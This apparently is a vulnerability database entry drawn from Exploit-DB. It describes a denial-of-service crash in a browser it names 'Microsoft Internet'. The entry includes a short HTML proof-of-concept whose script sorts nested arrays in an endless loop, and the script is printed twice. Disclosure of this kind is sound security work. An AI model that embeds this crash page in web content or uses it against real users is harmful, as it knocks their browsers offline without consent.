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Microsoft Internet
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5.5
CVSS
MEDIUM
Denial of Service
CWE
Product Name: Microsoft Internet
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
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Platforms Tested: Unknown
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Microsoft Internet Browser Crash Vulnerability

This vulnerability in Microsoft Internet browser allows an attacker to crash the browser by performing an infinite JavaScript array sort operation. It is speculated that this vulnerability only leads to a denial of service and cannot be further exploited to execute arbitrary code, although this has not been confirmed.

Mitigation:

No specific mitigation is mentioned in the source.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11751/info

Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

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